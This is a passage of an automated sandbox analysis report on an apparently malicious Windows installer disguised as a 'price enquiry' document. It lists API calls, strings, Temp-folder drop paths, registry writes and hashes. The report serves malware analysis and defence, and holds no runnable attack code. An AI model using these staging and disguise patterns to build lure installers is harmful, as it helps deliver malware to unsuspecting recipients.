Software\Microsoft\Windows\CurrentVersion, xrefs: 00405EA8
Call, xrefs: 00405DC3, 00405EA3, 00405EC4, 00405ED9, 00405EEC, 00405F08, 00405F33, 00405F65, 00405F6B, 00405F85, 00405F99, 00405FB9, 00405FBF, 00405FCB, 00405FFE
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F60

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 033ce2a7cbe3c8b30ba0906e04cbab2d5ee33bdd9aa60f075bda91ca774b6c93
Instruction ID: 8be6bcb63ccaebc5f1bc3563bf1d434f80ac3f189a087fad5798c32c49afab67
Opcode Fuzzy Hash: 033ce2a7cbe3c8b30ba0906e04cbab2d5ee33bdd9aa60f075bda91ca774b6c93
Instruction Fuzzy Hash: 3661D271A00906ABEF209F25CC44AAF37A5EF54314F10813BE955BA2D0D73D5A81CF9E

Function 004055FF Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 00405628
lstrcatW.KERNEL32(004246A0,\*.*,004246A0,?,?,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 00405670
lstrcatW.KERNEL32(?,00409014,?,004246A0,?,?,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 00405693
lstrlenW.KERNEL32(?,?,00409014,?,004246A0,?,?,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 00405699
FindFirstFileW.KERNEL32(004246A0,?,?,?,00409014,?,004246A0,?,?,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 004056A9
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405749
FindClose.KERNEL32(00000000), ref: 00405758

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040560D
"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe", xrefs: 00405608
\*.*, xrefs: 0040566A

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1846878031
Opcode ID: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction ID: b79195ecc2de65d8d99f91511e5e2c7060301b719c54f9eae921112220d3ef15
Opcode Fuzzy Hash: 42740435911353286c6922aa83c672c94fcfc96c868b16cb6d961babd0fb7d8c
Instruction Fuzzy Hash: 2C41CF30901A14F6DB216B618C89EAF7678EF45724F60457BF804721D1D77C89C1EE6E

Function 004063CC Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction ID: 3bb9d82cab8560ee02f1719a45e7f61305cf8b7accb1ce145186acec9c03a25a
Opcode Fuzzy Hash: b5652d2671bdba289ad27ff2dbd2e251a3084f56fb371cc4bb45df86323f9214
Instruction Fuzzy Hash: B6F17870D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Function 004060BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004256E8,00424EA0,00405913,00424EA0,00424EA0,00000000,00424EA0,00424EA0,?,?,75923420,0040561F,?,C:\Users\user\AppData\Local\Temp\,75923420), ref: 004060C5
FindClose.KERNEL32(00000000), ref: 004060D1

Strings

VB, xrefs: 004060BB

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: VB
API String ID: 2295610775-2416070386
Opcode ID: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction ID: f9ddfc5d4f3467e36225d2e4908305aa5d63d15eb4a774a72597514f161c5606
Opcode Fuzzy Hash: 0d7890576d52439fda81d3ff5c831c2ea13596096c8ebb05fd3cc094a7cb3954
Instruction Fuzzy Hash: 95D012719890309BC2105B386D0C84B7A589F153317528F73F42AF23E0C7388C6596AD

Function 004060E1 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403242,?), ref: 004060F3
LoadLibraryA.KERNELBASE(?,?,?,00403242,?), ref: 004060FE
GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction ID: aca730e0da059772988c79adabdc3e9a20cb86bb5b3cd76b20d24f00bd9ffcf2
Opcode Fuzzy Hash: 9fd8a9fe8f036a5891475527ba8adc4fecc6861406a6458080dad13fdc4695bd
Instruction Fuzzy Hash: 25E0CD32A081205BD7114B20AD4896773AC9FDD6413050439F905FA181D7B4BC11DFA9

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,?), ref: 004020BD

Strings

C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp\Tissene
API String ID: 542301482-2426972289
Opcode ID: 50a32ae26ad492b859a4e6f5b468bcb535fdd58fb200bb43e583f8555d22a830
Instruction ID: 320da03c4b58a6f492d73c9084ae0adc7b8dbf3defd95da7e5f41f6b65968188
Opcode Fuzzy Hash: 50a32ae26ad492b859a4e6f5b468bcb535fdd58fb200bb43e583f8555d22a830
Instruction Fuzzy Hash: 74414E75A00105BFCB00DFA8C988EAE7BB5AF49318B20416AF905EF2D1DA79ED41CB55

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403B6D
GetDlgItem.USER32(?,?), ref: 00403B8E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32(?,00000001), ref: 00403C57
GetDlgItem.USER32(?,00000002), ref: 00403C61
SetClassLongW.USER32(?,000000F2,?), ref: 00403C7B
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403CCC
GetDlgItem.USER32(?,00000003), ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DD6
EnableMenuItem.USER32(00000000), ref: 00403DDD
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403DF5
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenW.KERNEL32(00422698,?,00422698,004281A0), ref: 00403E31
SetWindowTextW.USER32(?,00422698), ref: 00403E45
ShowWindow.USER32(?,0000000A), ref: 00403F79

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: e6fd951068c191b0e665744f902603fd79f14c78bd0d8a766d85fdbf2578b978
Instruction ID: d7c36ab4ba1e77d3c514d2e075e7bf05f8385f4f0eed445bed2eaaef7d4a98f3
Opcode Fuzzy Hash: e6fd951068c191b0e665744f902603fd79f14c78bd0d8a766d85fdbf2578b978
Instruction Fuzzy Hash: 71C1AE71A04205ABEB216F61ED45D3B7A7CFB49306F40053EF501B11E1CB79A952DB2E

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D7A
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,00000400,?,?,?,00000000,00403425,?), ref: 00402D96

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00402DE2

Strings

C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe, xrefs: 00402D80, 00402D8F, 00402DA3, 00402DC3
Null, xrefs: 00402E60
soft, xrefs: 00402E57
C:\Users\user\Desktop, xrefs: 00402DC4, 00402DC9, 00402DCF
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402F41
P~A, xrefs: 00402DF7
Error launching installer, xrefs: 00402DB9
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D73
Inst, xrefs: 00402E4E
"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe", xrefs: 00402D6F

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$P~A$soft
API String ID: 4283519449-2905277023
Opcode ID: 69c41ed7727d13eba337e6ff84fc0710e98f7d4899d8b0f2d1ca16e739c0675e
Instruction ID: 9a0bc50dc50940ee2abb7c3ced767a556554b68a68c4a60a299fb88064fb1f26
Opcode Fuzzy Hash: 69c41ed7727d13eba337e6ff84fc0710e98f7d4899d8b0f2d1ca16e739c0675e
Instruction Fuzzy Hash: 88512871900205ABDB209F65DE89BAF7BB8EB14358F10403BF904B62D1C7B88D418BAD

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\Tissene,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\Tissene,?,?,00000031), ref: 004017B8

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

Call, xrefs: 00401770, 00401779, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9
C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nsgBC23.tmp, xrefs: 00401804, 00401822
C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll, xrefs: 00401818, 00401834

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\Tissene$C:\Users\user\AppData\Local\Temp\nsgBC23.tmp$C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll$Call
API String ID: 1941528284-591194069
Opcode ID: 41bcb08bdb3c1430ad734a4e06db74468e2e9d010ce4f63b4b859fa633e7f3b5
Instruction ID: f5340c52137ac8e05323c68babe13c17cc5cde59bf11d192bd930834dcc8acac
Opcode Fuzzy Hash: 41bcb08bdb3c1430ad734a4e06db74468e2e9d010ce4f63b4b859fa633e7f3b5
Instruction Fuzzy Hash: C6419071900908BACF11BBB5CC46DAF7679EF05368F20863BF425B11E1D73C8A419A6E

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403003
GetTickCount.KERNEL32 ref: 00403084
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 004030B1
wsprintfW.USER32 ref: 004030C4
WriteFile.KERNELBASE(00000000,00000000,0040FE48,7FFFFFFF,00000000), ref: 004030F3

Strings

... %d%%, xrefs: 004030BE

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction ID: 2f3b8c8ab01821edfbb7561a0937ed23110cd7788458c70898d592dcb6d42ddc
Opcode Fuzzy Hash: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction Fuzzy Hash: 8A516D31900219ABCF10DF65D944AAF7BACAF48756F10413BE910BB2C0D7389E51CBA9

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nsgBC23.tmp, xrefs: 00402380, 0040238E, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsgBC23.tmp
API String ID: 1356686001-2217240334
Opcode ID: 688a8dd21c4f325f38470d5dd74e1b3910d94e0d5580c85290932806a0368a20
Instruction ID: ff9c26e96d548ba14907c7cf0d775baaea3cd420635c28ab46d49cad89ffe0f3
Opcode Fuzzy Hash: 688a8dd21c4f325f38470d5dd74e1b3910d94e0d5580c85290932806a0368a20
Instruction Fuzzy Hash: 311181B1A00108BEEB10AFA4DD49EAF777CEB50358F10443AF905B61D0D7B85D409A29

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040586D: CharNextW.USER32(?,?,00424EA0,?,004058E1,00424EA0,00424EA0,?,?,75923420,0040561F,?,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

CreateDirectoryW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 004015E3
